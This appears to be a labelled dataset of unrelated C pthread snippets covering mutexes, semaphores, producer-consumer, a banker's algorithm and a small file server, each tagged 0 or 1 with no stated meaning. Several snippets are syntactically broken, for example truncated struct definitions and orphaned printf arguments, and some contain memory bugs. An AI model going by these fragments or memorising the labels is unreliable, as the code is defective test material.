( i = 0; i < PWM_NUM_CHANELS; i ++ ) { if ( PWM_ptr->updated & (1<<i) ) { newDuty = Check_PWM(PWM_ptr->ch[i].duty); sprintf(cmd, "pwm: %2d %3d\\r\\n", i, newDuty ); strcat(msg, cmd); PWM_ptr->updated &= ~(1<<i); } } pthread_mutex_unlock( &PWM_ptr->access ); return write(fd, msg, strlen(msg) ); } static int Receive_Current(int fd, char *buf) { char *ptr; if ( buf ) { ptr = CmdParse_SkipSpace(buf); pthread_mutex_lock( &PWM_ptr->access ); PWM_ptr->current = atof(ptr); pthread_mutex_unlock( &PWM_ptr->access ); } return 1; } static int Receive_Voltage(int fd, char *buf) { char *ptr; if ( buf ) { ptr = CmdParse_SkipSpace(buf); pthread_mutex_lock( &PWM_ptr->access ); PWM_ptr->voltage = atof(ptr); pthread_mutex_unlock( &PWM_ptr->access ); } return 1; } static int Receive_Temp(int fd, char *buf) { char *ptr; if ( buf ) { ptr = CmdParse_SkipSpace(buf); pthread_mutex_lock( &PWM_ptr->access ); PWM_ptr->temperature = atof(ptr); pthread_mutex_unlock( &PWM_ptr->access ); } return 1; } static int Receive_Firmware(int fd, char *buf) { char *ptr; if ( buf ) { ptr = CmdParse_SkipSpace(buf); pthread_mutex_lock( &PWM_ptr->access ); strncpy(PWM_ptr->firmware, ptr, PWM_FIRMWARE_SIZE); printf("Firmware %s\\n", PWM_ptr->firmware ); syslog(LOG_NOTICE, "Firmware detected: %s", PWM_ptr->firmware); pthread_mutex_unlock( &PWM_ptr->access ); } return 1; } const struct CmdFunc Cmd_Table[] = { { "volt", &Receive_Voltage }, { "current", &Receive_Current }, { "temp", &Receive_Temp }, { "firmware", &Receive_Firmware }, { 0, 0 } };
1
#include <pthread.h> void *subrotina_montecarlo(void *); inline double get_random(long int *, double, double); pthread_mutex_t mc_mutex; long double total_over = 0.0; long double total_under = 0.0; int main(int argc, char *argv[]) { long double pi; long int i; struct timeval tv1, tv2; double t1, t2; pthread_t threads[70]; int check; gettimeofday(&tv1, 0); t1 = (double)(tv1.tv_sec) + (double)(tv1.tv_usec) / 1000000.00; pthread_mutex_init(&mc_mutex, 0); for (i = 0L; i < 70; i++) { check = pthread_create(&threads[i], 0, subrotina_montecarlo, 0); if (check) { printf("ERRO! pthread_create() retornou um erro de codigo: %d\\n", check); exit(-1); } } for (i = 0L; i < 70; i++) pthread_join(threads[i], 0); pi = 4.0 * total_under / (total_over + total_under); gettimeofday(&tv2, 0); t2 = (double)(tv2.tv_sec) + (double)(tv2.tv_usec) / 1000000.00; printf("Pi aproximado: %.10Lf\\nTempo: %lf\\n", pi, (t2-t1)); pthread_mutex_destroy(&mc_mutex); return 0; } void *subrotina_montecarlo(void *ptr) { long double over = 0.0; long double under = 0.0; double x, y; int i; long int seed = (long int)time(0); for (i = 0L; i < 1000000000/70; i++) { x = get_random(&seed, 0.0, 1.0); y = get_random(&seed, 0.0, 1.0); if (y > sqrt(1.0 - x*x)) over++; else under++; } pthread_mutex_lock(&mc_mutex); total_over += over; total_under += under; pthread_mutex_unlock(&mc_mutex); pthread_exit(0); } inline double get_random(long int *x, double li, double ls) { *x = (22695477 * *x + 1) % 4294967296; return (li + ((double)*x / (double)4294967296) * (ls - li)); }
0
#include <pthread.h> void* f_sav(void *v){ int i; int id = *(int*) v; while (1) { pthread_mutex_lock (&pot); if (servings == 0) { sem_post (&emptyPot); if(enable_log) printf("prato vazio\\n"); sem_wait (&fullPot); servings = M; } servings--; sleep(3); if(enable_log) printf ("consegui comida do prato - %d\\n", id); if(enable_drawing){ savage_bowl[id] = 'X'; pot_state[id] = ' '; draw(); } pthread_mutex_unlock (&pot); sleep(3); if(enable_log) printf ("comendo - %d\\n", id); if(enable_drawing){ savage_mouth[id] = 'o'; draw(); } sleep(10); if(enable_drawing){ savage_mouth[id] = 'p'; savage_bowl[id] = '_'; draw(); } sleep(5); } }
1
#include <pthread.h> pthread_mutex_t sum_mutex1; int a[1000], sum; void initialize_array(int *a, int n) { int i; for (i = 1; i <= n; i++) { a[i-1] = i; } } void *thread_add(void *argument) { int i, thread_sum, arg; thread_sum = 0; arg = *(int *)argument; for (i = ((arg-1)*(1000/4)) ; i < (arg*(1000/4)); i++) { thread_sum += a[i]; } printf("Thread : %d : Sum : %d\\n", arg, thread_sum); pthread_mutex_lock(&sum_mutex1); sum += thread_sum; pthread_mutex_unlock(&sum_mutex1); } void print_array(int *a, int size) { int i; for(i = 0; i < size; i++) printf(" %d ", a[i]); putchar('\\n'); } int main() { int i, *range; pthread_t thread_id[4]; sum = 0; initialize_array(a, 1000); printf("Array : \\n"); print_array(a, 1000); for (i = 0; i < 4; i++) { range = (int *)malloc(sizeof(int)); *range = (i+1); if (pthread_create(&thread_id[i], 0, thread_add, (void *)range)) printf("Thread creation failed for thread num : %d\\n", *range); } for (i = 0; i < 4; i++) { pthread_join(thread_id[i], 0); } printf("Sum : %d\\n", sum); return 0; }
0
#include <pthread.h> char* id_a = "A thread(process)"; char* id_b = "B thread(process)"; int num = 0; int iter = 1; pthread_mutex_t mtxA; pthread_mutex_t mtxB; void* myfunc1(void* arg){ char* id = (char*)arg; int i; while(1){ if(id == id_a) pthread_mutex_lock(&mtxA); else pthread_mutex_lock(&mtxB); printf("%s, number = %d\\n",id, ++num); sleep(1); if(id == id_a) pthread_mutex_unlock(&mtxB); else pthread_mutex_unlock(&mtxA); } } void* myfunc2(void* arg){ char* id = (char*)arg; int i; while(1){ if(id == id_a){ pthread_mutex_lock(&mtxA); printf("%s, number = %d\\n",id, ++num); sleep(1); printf("%s, number = %d\\n",id, ++num); } else{ pthread_mutex_lock(&mtxB); printf("%s, number = %d\\n",id, ++num); } sleep(1); if(id == id_a) pthread_mutex_unlock(&mtxB); else pthread_mutex_unlock(&mtxA); } } void* myfunc3(void* arg){ char* id = (char*)arg; int i, j; while(1){ if(id == id_a){ pthread_mutex_lock(&mtxA); for(j=0; j<iter; j++){ printf("%s, number = %d\\n",id, ++num); sleep(1); } iter++; } else{ pthread_mutex_lock(&mtxB); printf("%s, number = %d\\n",id, ++num); sleep(1); } if(id == id_a) pthread_mutex_unlock(&mtxB); else pthread_mutex_unlock(&mtxA); } } int main(void){ int menu; pthread_t t1, t2; printf("Select the menu : "); scanf("%d", &menu); printf("%d is selected\\n\\n", menu); pthread_mutex_init(&mtxA, 0); pthread_mutex_init(&mtxB, 0); pthread_mutex_lock(&mtxB); if(menu == 1){ pthread_create(&t1, 0, myfunc1, id_a); pthread_create(&t2, 0, myfunc1, id_b); } else if(menu == 2){ pthread_create(&t1, 0, myfunc2, id_a); pthread_create(&t2, 0, myfunc2, id_b); } else if(menu == 3){ pthread_create(&t1, 0, myfunc3, id_a); pthread_create(&t2, 0, myfunc3, id_b); } if(menu > 0 && menu < 4){ pthread_join(t1, 0); pthread_join(t2, 0); } return 0; }
1
#include <pthread.h> uint32_t count; pthread_mutex_t lock; pthread_cond_t cond; } semaphore; void* sem_new(uint32_t resources) { semaphore *s; s = (semaphore*)malloc(sizeof(semaphore)); s->count = resources; pthread_mutex_init(&(s->lock),0); pthread_cond_init(&(s->cond),0); return s; } void sem_delete(void *sem) { semaphore *s = (semaphore*)sem; pthread_mutex_destroy(&(s->lock)); pthread_cond_destroy(&(s->cond)); free(s); } uint32_t sem_getresamount(void *sem) { semaphore *s = (semaphore*)sem; uint32_t res; pthread_mutex_lock(&(s->lock)); res = s->count; pthread_mutex_unlock(&(s->lock)); return res; } void sem_acquire(void *sem,uint32_t res) { semaphore *s = (semaphore*)sem; pthread_mutex_lock(&(s->lock)); while (s->count<res) { pthread_cond_wait(&(s->cond),&(s->lock)); } s->count-=res; pthread_mutex_unlock(&(s->lock)); } int sem_tryacquire(void *sem,uint32_t res) { semaphore *s = (semaphore*)sem; pthread_mutex_lock(&(s->lock)); if (s->count<res) { pthread_mutex_unlock(&(s->lock)); return -1; } s->count-=res; pthread_mutex_unlock(&(s->lock)); return 0; } void sem_release(void *sem,uint32_t res) { semaphore *s = (semaphore*)sem; pthread_mutex_lock(&(s->lock)); s->count+=res; pthread_mutex_unlock(&(s->lock)); pthread_cond_signal(&(s->cond)); } void sem_broadcast_release(void *sem,uint32_t res) { semaphore *s = (semaphore*)sem; pthread_mutex_lock(&(s->lock)); s->count+=res; pthread_mutex_unlock(&(s->lock)); pthread_cond_broadcast(&(s->cond)); }
0
#include <pthread.h> pthread_mutex_t a; pthread_mutex_t b; pthread_mutex_t c; int k; int j; void* fn1(void * args){ pthread_mutex_lock(&a);; if( k == 25 ){ pthread_mutex_lock(&b);; j = 1-j; if( j ) printf("hola\\n"); else printf("adios\\n"); } else { pthread_mutex_lock(&c);; } } void* fn2(void * args){ pthread_mutex_unlock(&a);; if( k == 12 ){ j = 1; pthread_mutex_unlock(&b);; } else { j = 0; pthread_mutex_unlock(&b);; pthread_mutex_unlock(&c);; } } int main() { pthread_t thread1; pthread_t thread2; pthread_create(&thread1, 0, &fn1, 0); pthread_create(&thread2, 0, &fn2, 0); pthread_join(thread1, 0); pthread_join(thread2, 0); return 0; }
1
#include <pthread.h> struct jack_buffer* jack_input_buffers_head; struct jack_buffer* jack_input_buffers_tail; sem_t jack_input_buffer_sem; int jack_input_sequence=0; int jack_input_buffer_underruns=0; pthread_mutex_t jack_input_buffer_mutex; struct jack_buffer* jack_free_buffers_head; struct jack_buffer* jack_free_buffers_tail; int jack_free_buffer_underruns=0; pthread_mutex_t jack_free_buffer_mutex; void put_jack_free_buffer(struct jack_buffer* buffer) { if(debug_buffers) fprintf(stderr,"put_jack_free_buffer: %08X\\n",(unsigned int)buffer); pthread_mutex_lock(&jack_free_buffer_mutex); if(jack_free_buffers_tail==0) { jack_free_buffers_head=jack_free_buffers_tail=buffer; } else { jack_free_buffers_tail->next=buffer; jack_free_buffers_tail=buffer; } pthread_mutex_unlock(&jack_free_buffer_mutex); } struct jack_buffer* get_jack_free_buffer(void) { struct jack_buffer* buffer; if(jack_free_buffers_head==0) { jack_free_buffer_underruns++; fprintf(stderr,"get_jack_free_buffer: underruns=%d\\n",jack_input_buffer_underruns); return 0; } pthread_mutex_lock(&jack_free_buffer_mutex); buffer=jack_free_buffers_head; jack_free_buffers_head=buffer->next; if(jack_free_buffers_head==0) { jack_free_buffers_tail=0; } pthread_mutex_unlock(&jack_free_buffer_mutex); if(debug_buffers) fprintf(stderr,"get_jack_free_buffer: %08X\\n",(unsigned int)buffer); return buffer; } void put_jack_input_buffer(struct jack_buffer* buffer) { if(debug_buffers) fprintf(stderr,"put_jack_input_buffer: %d: %08X\\n",jack_input_sequence,(unsigned int)buffer); pthread_mutex_lock(&jack_input_buffer_mutex); buffer->sequence=jack_input_sequence++; if(jack_input_buffers_tail==0) { jack_input_buffers_head=jack_input_buffers_tail=buffer; } else { jack_input_buffers_tail->next=buffer; jack_input_buffers_tail=buffer; } pthread_mutex_unlock(&jack_input_buffer_mutex); } struct jack_buffer* get_jack_input_buffer(void) { struct jack_buffer* buffer; if(jack_input_buffers_head==0) { jack_input_buffer_underruns++; fprintf(stderr,"get_jack_input_buffer: underruns=%d\\n",jack_input_buffer_underruns); return 0; } pthread_mutex_lock(&jack_input_buffer_mutex); buffer=jack_input_buffers_head; jack_input_buffers_head=buffer->next; if(jack_input_buffers_head==0) { jack_input_buffers_tail=0; } pthread_mutex_unlock(&jack_input_buffer_mutex); if(debug_buffers) fprintf(stderr,"get_jack_input_buffer: %d: %08X\\n",buffer->sequence,(unsigned int)buffer); return buffer; } struct jack_buffer* new_jack_buffer() { struct jack_buffer* buffer; buffer=malloc(sizeof(struct jack_buffer)); buffer->next=0; if(debug_buffers) fprintf(stderr,"new_jack_buffer: %08X\\n",(unsigned int)buffer); return buffer; } void create_jack_buffers(int n) { struct jack_buffer* buffer; int i; if(debug) fprintf(stderr,"create_jack_buffers: entry: %d\\n",n); pthread_mutex_init(&jack_input_buffer_mutex, 0); pthread_mutex_init(&jack_free_buffer_mutex, 0); for(i=0;i<n;i++) { buffer=new_jack_buffer(); put_jack_free_buffer(buffer); } if(debug) fprintf(stderr,"create_jack_buffers: enxit\\n"); } void free_jack_buffer(struct jack_buffer* buffer) { if(debug_buffers) fprintf(stderr,"free_jack_buffer: %d: %08X\\n",buffer->sequence,(unsigned int)buffer); put_jack_free_buffer(buffer); }
0
#include <pthread.h> float y; sem_t sem_y; sem_t sem_signal; pthread_mutex_t mutex_y; void part_2(struct udp_conn *connection){ printf("---------- PART 2 ---------- \\n"); sem_init(&sem_y, 0, 1); sem_init(&sem_signal, 0, 1); pthread_mutex_init(&mutex_y, 0); pthread_t thread_receiver; pthread_t thread_controller; pthread_t thread_acknowledger; pthread_create(&thread_receiver, 0, receiver, connection); pthread_create(&thread_controller, 0, controller, connection); pthread_create(&thread_acknowledger, 0, acknowledger, connection); pthread_join(thread_controller, 0); } void *receiver(struct udp_conn *connection){ printf("Starting receiver \\n"); char buffer[25]; char type[6]; for(;;){ udp_receive(connection, buffer, sizeof(buffer)+1); strncpy(type, buffer, 6); if (!strncmp(buffer, "SIGNAL", 6)) { sem_post(&sem_signal); } if (!strncmp(buffer, "GET_ACK", 7)) { pthread_mutex_lock(&mutex_y); y = atof(buffer + sizeof("GET_ACK")); pthread_mutex_unlock(&mutex_y); sem_post(&sem_y); } } } void *controller(struct udp_conn *connection){ printf("Starting controller \\n"); int counter; int counter_goal = RUN_PERIOD/SLEEP_PERIOD; struct timespec program_sleep; clock_gettime(CLOCK_REALTIME, &program_sleep); for (counter = 0; counter < counter_goal; counter++){ request_y(connection); sem_wait(&sem_y); pthread_mutex_lock(&mutex_y); set_u(get_u(y)); pthread_mutex_unlock(&mutex_y); timespec_add_us(&program_sleep, SLEEP_PERIOD); clock_nanosleep(&program_sleep); } } void *acknowledger(struct udp_conn *connection){ printf("Starting acknowledger \\n"); for(;;){ sem_wait(&sem_signal); char signal_command[] = "SIGNAL_ACK"; send_message(signal_command, sizeof(signal_command)); } }
1
#include <pthread.h> char *nombre; struct amigos *friends; struct lista *sig; }LISTA; char *amigo; struct amigos *sig; }AMIGOS; char *tupla; struct amigos *primero; struct amigos *segundo; struct comparacion *sig; }COMPARACION; struct lista *argumento1; struct comparacion *argumento2; }HILOS; pthread_mutex_t mutexmap; pthread_mutex_t mutexreduce; struct COMPARACION *agregar(LISTA *listaAmigos, COMPARACION *estructura) { LISTA *tmp1; COMPARACION *tmp2, *ultimo1; tmp1 = (LISTA *)malloc(sizeof(LISTA)); tmp2 = (COMPARACION *)malloc(sizeof(COMPARACION)); tmp1 = listaAmigos; tmp2 = estructura; while(tmp1->nombre != 0) { if (tmp2->tupla == 0) { tmp2->tupla = (char *)malloc(sizeof(strlen(tmp1->nombre))); strcpy(tmp2->tupla,tmp1->nombre); tmp2->primero = tmp1->friends; tmp2->sig = 0; tmp2 = estructura; } else { while (tmp2 != 0) { if (strcmp(tmp2->tupla,tmp1->nombre) == 0) { tmp2->segundo = tmp1->friends; tmp2 = estructura; break; } else { ultimo1 = tmp2; tmp2 = tmp2->sig; } } if (tmp2 == 0) { tmp2 = (COMPARACION *)malloc(sizeof(COMPARACION)); tmp2->tupla = (char *)malloc(sizeof(strlen(tmp1->nombre))); strcpy(tmp2->tupla,tmp1->nombre); tmp2->primero = tmp1->friends; tmp2->sig = 0; ultimo1->sig = tmp2; tmp2 = estructura; } } tmp1 = tmp1->sig; } return estructura; }; LISTA *agregarLista (char *nombre, AMIGOS *comunes, LISTA *definitivo) { LISTA *aux; aux = definitivo; if (definitivo->nombre == 0) { definitivo->nombre = (char *)malloc(sizeof(strlen(nombre))); strcpy(definitivo->nombre,nombre); definitivo->friends = comunes; } else { while (definitivo->sig != 0) { definitivo = definitivo->sig; } definitivo->sig = (LISTA *)malloc(sizeof(LISTA)); definitivo->sig->nombre = (char *)malloc(sizeof(strlen(nombre))); strcpy(definitivo->sig->nombre,nombre); definitivo->sig->friends = comunes; } return aux; }; struct COMPARACION *map(HILOS *argumento) { char *nom_tupla, *primero, *segundo; LISTA *temporal, *pareja, *ultimo, *lista; AMIGOS *auxiliar; COMPARACION *resultado; lista = argumento->argumento1; auxiliar = argumento->argumento1->friends; temporal = (LISTA*)malloc(sizeof(LISTA)); pareja = temporal; if (strcmp(lista->friends->amigo,"None") == 0) { ; } else { while (auxiliar != 0) { ultimo = (LISTA *)malloc(sizeof(LISTA)); ultimo->nombre = 0; ultimo->friends = 0; ultimo->sig = 0; if (strcmp(lista->nombre,auxiliar->amigo) < 0) { primero = (char *)malloc(sizeof(strlen(lista->nombre))); segundo = (char *)malloc(sizeof(strlen(auxiliar->amigo))); strcpy(primero, lista->nombre); strcpy(segundo,auxiliar->amigo); } else { primero = (char *)malloc(sizeof(strlen(auxiliar->amigo))); segundo = (char *)malloc(sizeof(strlen(lista->nombre))); strcpy(primero,auxiliar->amigo); strcpy(segundo,lista->nombre); } nom_tupla = (char *)malloc(sizeof(strlen(primero)+strlen(segundo)+5)); strcpy(nom_tupla, "("); strcat(nom_tupla,primero); strcat(nom_tupla," "); strcat(nom_tupla,segundo); strcat(nom_tupla, ")"); temporal->nombre = (char *)malloc(sizeof(strlen(nom_tupla))); strcpy(temporal->nombre,nom_tupla); temporal->friends = lista->friends; temporal->sig = ultimo; ultimo->sig = 0; temporal = ultimo; auxiliar = auxiliar->sig; } } pthread_mutex_lock(&mutexmap); resultado = agregar(pareja, argumento->argumento2); pthread_mutex_unlock(&mutexmap); return resultado; }; struct LISTA *reduce (HILOS *argumento) { char *nombre; AMIGOS *comunes, *temporal1, *temporal2, *auxiliar; LISTA *definitivo; COMPARACION *estructura; definitivo = argumento->argumento1; estructura = argumento->argumento2; nombre = (char *)malloc(sizeof(strlen(estructura->tupla))); comunes = (AMIGOS *)malloc(sizeof(AMIGOS)); comunes->amigo = 0; comunes->sig = 0; auxiliar = comunes; strcpy(nombre,estructura->tupla); temporal1 = estructura->primero; temporal2 = estructura->segundo; if (estructura->segundo != 0) { while(temporal1 != 0) { while(temporal2 != 0){ if (strcmp(temporal1->amigo,temporal2->amigo) == 0) { comunes->amigo = (char *)malloc(sizeof(strlen(temporal1->amigo))); strcpy(comunes->amigo, temporal1->amigo); comunes->sig = (AMIGOS *)malloc(sizeof(AMIGOS)); comunes = comunes->sig; break; } else { temporal2 = temporal2->sig; } } if (temporal1->sig == 0) { break; } temporal1 = temporal1->sig; temporal2 = estructura->segundo; } if (comunes == 0) { comunes->amigo = (char *)malloc(sizeof(strlen("-None-"))); strcpy(comunes->amigo,"-None-"); comunes->sig = 0; pthread_mutex_lock(&mutexreduce); definitivo = agregarLista(nombre,comunes,definitivo); pthread_mutex_unlock(&mutexreduce); } else { pthread_mutex_lock(&mutexreduce); definitivo = agregarLista(nombre,auxiliar,definitivo); pthread_mutex_unlock(&mutexreduce); } } else { comunes->amigo = (char *)malloc(sizeof(strlen("-None-"))); strcpy(comunes->amigo,"-None-"); comunes->sig = 0; pthread_mutex_lock(&mutexreduce); definitivo = agregarLista(nombre,comunes,definitivo); pthread_mutex_unlock(&mutexreduce); } return definitivo; };
0
#include <pthread.h> void * collectManager() { int a; trashesToEmpty = initList(sizeof(int)); pthread_mutex_lock(&mutexListToEmpty); for(int i = 0; i < NB_TRASHES; i++) { arrayTrashInList[i] = 0; } while(1) { pthread_cond_wait(&addTrashListToEmpty, &mutexListToEmpty); if(isEmpty(trashesToEmpty) == 0 && trashesToEmpty.count >= 4) { while(isEmpty(trashesToEmpty) == 0) { a = *((int*)(trashesToEmpty.head->value)); arrayTrashInList[a] = 0; trashesToEmpty = removeHead(trashesToEmpty); pthread_mutex_unlock(&mutexListToEmpty); emptyTrash(a); usleep(200); pthread_mutex_lock(&mutexListToEmpty); } } } pthread_mutex_unlock(&mutexListToEmpty); pthread_exit(0); }
1
#include <pthread.h> int buffer; int count = 0; pthread_cond_t empty, fill; pthread_mutex_t mutex; void put(int value) { assert(count == 0); count = 1; buffer = value; } int get() { assert(count == 1); count = 0; return buffer; } void *producer(void *arg) { int i; int loops = *(int *) arg; for (i = 0; i < loops; i++) { pthread_mutex_lock(&mutex); while (count == 1) pthread_cond_wait(&empty, &mutex); put(i); pthread_cond_signal(&fill); pthread_mutex_unlock(&mutex); } return 0; } void *consumer(void *arg) { int i; int loops = *(int *) arg; for (i = 0; i < loops; i++) { pthread_mutex_lock(&mutex); while (count == 0) pthread_cond_wait(&fill, &mutex); int tmp = get(); pthread_cond_signal(&empty); pthread_mutex_unlock(&mutex); printf("%d\\n", tmp); } return 0; } int main(){ pthread_t p; pthread_t c1; pthread_t c2; int loops = 10; pthread_create(&p, 0, producer, &loops); pthread_create(&c1, 0, consumer, &loops); pthread_create(&c2, 0, consumer, &loops); pthread_join(p, 0); return 0; }
0
#include <pthread.h> extern struct mansession *sessions; int _read(struct mansession *s, struct message *m) { int res; for (;;) { res = get_input(s, m->headers[m->hdrcount]); if (strstr(m->headers[m->hdrcount], "--END COMMAND--")) { if (debug) debugmsg("Found END COMMAND"); m->in_command = 0; } if (strstr(m->headers[m->hdrcount], "Response: Follows")) { if (debug) debugmsg("Found Response Follows"); m->in_command = 1; } if (res > 0) { if (!m->in_command && *(m->headers[m->hdrcount]) == '\\0' ) { break; } else if (m->hdrcount < MAX_HEADERS - 1) { m->hdrcount++; } else { m->in_command = 0; } } else if (res < 0) break; } return res; } int _write(struct mansession *s, struct message *m) { int i; pthread_mutex_lock(&s->lock); for (i=0; i<m->hdrcount; i++) { if( ! strlen(m->headers[i]) ) continue; ast_carefulwrite(s->fd, m->headers[i], strlen(m->headers[i]) , s->writetimeout); ast_carefulwrite(s->fd, "\\r\\n", 2, s->writetimeout); } ast_carefulwrite(s->fd, "\\r\\n", 2, s->writetimeout); pthread_mutex_unlock(&s->lock); return 0; } int _onconnect(struct mansession *s, struct message *m) { char banner[100]; sprintf(banner, "%s/%s\\r\\n", PROXY_BANNER, PROXY_VERSION); pthread_mutex_lock(&s->lock); ast_carefulwrite(s->fd, banner, strlen(banner), s->writetimeout); pthread_mutex_unlock(&s->lock); return 0; }
1
#include <pthread.h> void *handleCliReq(void *arg) { char sendBuffer[SEND_BUFFER_SIZE]; char recvBuffer[RECV_BUFFER_SIZE]; char tmpRecvBuffer[RECV_BUFFER_SIZE]; char *fileNameToken; char *getFileCmdToken; char *getToken; char *tmpFilePath; char *sendFilePath; ssize_t recvBytes; ssize_t sentBytes; int clientSocket; for (;;) { tmpFilePath = (char *) malloc(sizeof(char) * GETFILE_PATH_MAX); sendFilePath = (char *) malloc(sizeof(char) * GETFILE_PATH_MAX); sprintf(tmpFilePath,"%s", filePath); pthread_mutex_lock (&mtex); while (emptyQ() == 1) { pthread_cond_wait (&mtex_cond, &mtex); } clientSocket = deQ(); queueCount--; threadsActive++; threadsWaiting--; printf("INFO:[%010u] deQ for conn socketfd [%d]\\n", pthread_self(), clientSocket); pthread_mutex_unlock (&mtex); bzero((char *) &sendBuffer, sizeof(sendBuffer)+1); bzero((char *) &recvBuffer, sizeof(recvBuffer)+1); recvBytes = recv(clientSocket,recvBuffer,RECV_BUFFER_SIZE,0); trimwhitespace(recvBuffer); printf("INFO:[%010u] Recd message:[%s] len:[%d]\\n", pthread_self(),recvBuffer, strlen(recvBuffer)); strcpy(tmpRecvBuffer,recvBuffer); if ((strncmp(tmpRecvBuffer, GETFILE_CMD_PREFIX, strlen(GETFILE_CMD_PREFIX))) != 0) { sprintf(sendBuffer, "%s%d", GETFILE_STATUS_ERR, 0); if((sentBytes = send(clientSocket, sendBuffer, SEND_BUFFER_SIZE, 0)) < 0 ) { error("ERROR: sending to client"); return 0; } } else { getFileCmdToken = strtok(tmpRecvBuffer, " "); getToken = strtok(0, " "); fileNameToken = strtok(0, " "); trimwhitespace(fileNameToken); printf( "INFO:[%010u] parsed message: [%s][%s][%s]\\n", pthread_self(), getFileCmdToken, getToken, fileNameToken ); if (strcmp(tmpFilePath, ".") == 0) { sprintf(tmpFilePath, "./"); } sprintf(sendFilePath,"%s%s", tmpFilePath, fileNameToken); if (sendFile(clientSocket, sendFilePath) == 0) error ("ERROR: sending file to client"); } if(close(clientSocket) == SOCKET_ERROR) { error("ERROR: Could not close CLIENT socket\\n"); } free(tmpFilePath); free(sendFilePath); pthread_mutex_lock (&mtex); threadsActive--; threadsWaiting++; pthread_mutex_unlock (&mtex); } return 0; } int sendFile(int sock, char *fName) { int sendMsgCount; ssize_t readFileBytes; ssize_t sentBytes; ssize_t sentFileSize; char sendBuffer[SEND_BUFFER_SIZE]; int fp; struct stat fStat; sendMsgCount = 0; sentFileSize = 0; bzero((char *) &sendBuffer, sizeof(sendBuffer)+1); if( (fp = open(fName, O_RDONLY)) < 0) { sprintf(sendBuffer, "%s%d", GETFILE_STATUS_ERR, 0); printf("DEBUG:[%010u]: [%s]: [%s]\\n", pthread_self(), fName, sendBuffer); if( (sentFileSize = send(sock, sendBuffer, SEND_BUFFER_SIZE, 0)) < 0 ) { perror("Send file error"); return 0; } sendMsgCount++; } else { if(fstat(fp,&fStat) < 0) return 0; sprintf(sendBuffer,"%s%d",GETFILE_STATUS_OK, fStat.st_size); printf("INFO:[%010u] Send response:[%s]\\n", pthread_self(), sendBuffer); send(sock, sendBuffer, SEND_BUFFER_SIZE,0); printf("INFO:[%010u] Send file:[%s] size:[%d]\\n", pthread_self(), fName, fStat.st_size); while( (readFileBytes = read(fp, sendBuffer, RECV_BUFFER_SIZE)) > 0 ) { if( (sentBytes = send(sock, sendBuffer, readFileBytes, 0)) < readFileBytes ) { perror("Send file error"); return 0; } sendMsgCount++; sentFileSize += sentBytes; } close(fp); } pthread_mutex_lock (&mtex); sentFileCount++; pthread_mutex_unlock (&mtex); return sendMsgCount; } void sigChld(int signo) { pid_t pid; int stat; while ( (pid = waitpid(-1, &stat, WNOHANG)) > 0) printf("child %d terminated\\n", pid); return; }
0
#include <pthread.h> extern void __VERIFIER_error() ; int __VERIFIER_nondet_int(void); void ldv_assert(int expression) { if (!expression) { ERROR: __VERIFIER_error();}; return; } pthread_t t1, t2; pthread_mutex_t mutex; int pdev; void ath9k_flush(void) { pthread_mutex_lock(&mutex); pdev = 6; ldv_assert(pdev==6); pthread_mutex_unlock(&mutex); } void *thread_ath9k(void *arg) { while(1) { switch(__VERIFIER_nondet_int()) { case 1: ath9k_flush(); break; case 2: goto exit_thread_ath9k; } } exit_thread_ath9k: return 0; } int ieee80211_register_hw(void) { if(__VERIFIER_nondet_int()) { pthread_create(&t2, 0, thread_ath9k, 0); return 0; } return -1; } void ieee80211_deregister_hw(void) { void *status; pthread_join(t2, &status); return; } static int ath_ahb_probe(void) { int error; error = ieee80211_register_hw(); if (error) goto rx_cleanup; return 0; rx_cleanup: return -1; } void ath_ahb_disconnect() { ieee80211_deregister_hw(); } int ldv_usb_state; void *thread_usb(void *arg) { ldv_usb_state = 0; int probe_ret; while(1) { switch(__VERIFIER_nondet_int()) { case 0: if(ldv_usb_state==0) { probe_ret = ath_ahb_probe(); if(probe_ret!=0) goto exit_thread_usb; ldv_usb_state = 1; } break; case 1: if(ldv_usb_state==1) { ath_ahb_disconnect(); ldv_usb_state=0; pdev = 8; ldv_assert(pdev==8); } break; case 2: if(ldv_usb_state==0) { goto exit_thread_usb; } break; } } exit_thread_usb: pdev = 9; ldv_assert(pdev==9); return 0; } int module_init() { pthread_mutex_init(&mutex, 0); pdev = 1; ldv_assert(pdev==1); if(__VERIFIER_nondet_int()) { pthread_create(&t1, 0, thread_usb, 0); return 0; } pdev = 3; ldv_assert(pdev==3); pthread_mutex_destroy(&mutex); return -1; } void module_exit() { void *status; pthread_join(t1, &status); pthread_mutex_destroy(&mutex); pdev = 5; ldv_assert(pdev==5); } int main(void) { if(module_init()!=0) goto module_exit; module_exit(); module_exit: return 0; }
1
#include <pthread.h> int bankerFunc(int id, int requesting, int resources[]) { int i; for (i = 0; i < NUMBER_OF_RESOURCES; ++i) pthread_mutex_init(&mutex[i], 0); for (i = 0; i < NUMBER_OF_RESOURCES; ++i) { if (!requesting) release(&mutex[i], id, resources[i], i); else if (resources[i] <= need[id][i]) request(&mutex[i], id, resources[i], i); else return -1; } return 0; } void release(pthread_mutex_t *mutex, int id, int resource, int resource_type) { pthread_mutex_lock(mutex); available[resource_type] += resource; if (available[resource_type] > maximum[id][resource_type]) available[resource_type] = maximum[id][resource_type]; allocation[id][resource_type] -= resource; if (allocation[id][resource_type] < 0) allocation[id][resource_type] = 0; need[id][resource_type] += resource; if (need[id][resource_type] > maximum[id][resource_type]) need[id][resource_type] = maximum[id][resource_type]; , id+1, resource, resource_type+1, available[resource_type], resource_type+1); pthread_mutex_unlock(mutex); } void request(pthread_mutex_t *mutex, int id, int resource, int resource_type) { pthread_mutex_lock(mutex); int buff; while (!(resource <= available[resource_type])); buff = available[resource_type]; available[resource_type] -= resource; allocation[id][resource_type] += resource; need[id][resource_type] -= resource; id+1, resource, resource_type+1, buff, available[resource_type], resource_type+1); pthread_mutex_unlock(mutex); } void printResourcesState() { int i; for (i = 0; i < NUMBER_OF_RESOURCES; ++i) printf("Resource %d : %d\\n", i+1, available[i]); }
0
#include <pthread.h> void event_counter_init(struct Event_Counter *ev, int c) { pthread_mutex_init(&ev->mute, 0); pthread_cond_init(&ev->signal, 0); ev->event_val = c; } int count_read(struct Event_Counter *ev) { return ev->event_val; } void advance(struct Event_Counter *ev) { ev->event_val++; pthread_cond_signal(&ev->signal); } void await(struct Event_Counter *ev, int c) { pthread_mutex_lock(&ev->mute); while(ev->event_val < c) { pthread_cond_wait(&ev->signal, &ev->mute); } pthread_mutex_unlock(&ev->mute); } void event_counter_end(struct Event_Counter *ev) { pthread_mutex_destroy(&ev->mute); pthread_cond_destroy(&ev->signal); }
1
